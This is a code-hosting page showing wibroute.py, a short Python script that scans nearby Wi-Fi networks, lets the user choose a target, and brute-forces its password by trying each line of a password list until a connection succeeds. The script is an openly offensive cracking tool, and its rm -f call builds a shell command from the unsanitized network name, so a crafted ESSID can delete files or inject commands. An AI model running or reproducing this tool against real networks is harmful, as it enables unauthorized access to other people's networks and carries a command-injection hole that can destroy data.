WiBroute

Форк
0
/
wibroute.py 
32 строки · 1.0 Кб
1
#!/usr/bin/env python3
2
'''
3
Created on 13.10.2016
4

5
@author: Brom
6
@e-mail: wasalev@mail.ru
7
'''
8

9
import net_wrap
10
import os
11
interfacesList=net_wrap.interfacesList()
12
print('Choose interface:\n')
13
for inter in interfacesList:
14
	print("["+str(interfacesList.index(inter))+"] "+inter)
15
curIntIndex=int(input(">>> "))
16
curInt=interfacesList[curIntIndex]
17
targetsList=net_wrap.wifiList(curInt)
18
print('Choose target: ')
19
for cell in targetsList:
20
	print("["+str(targetsList.index(cell))+"] "+cell['Address']+" | "+cell['ESSID']+" | Encryption key: "+cell['Encryption key']  +"\n")
21
targetIndex=int(input(">>> "))
22
target=targetsList[targetIndex]
23
with open("passwords.txt") as infile:
24
    for idx, password in enumerate(infile):
25
    	if(os.path.isdir('/etc/NetworkManager/system-connections/')):
26
    		os.system('rm -f /etc/NetworkManager/system-connections/'+target['ESSID']+"*")
27
    	print("\rTry[#{}]\t{}".format(idx, password), end='')
28
    	res=net_wrap.tryConnect(target['ESSID'], password, curInt)
29
    	if res==True:
30
    		print("="*20)
31
    		print(password)
32
    		exit()
33
	
34

Использование cookies

Мы используем файлы cookie в соответствии с Политикой конфиденциальности и Политикой использования cookies.

Нажимая кнопку «Принимаю», Вы даете АО «СберТех» согласие на обработку Ваших персональных данных в целях совершенствования нашего веб-сайта и Сервиса GitVerse, а также повышения удобства их использования.

Запретить использование cookies Вы можете самостоятельно в настройках Вашего браузера.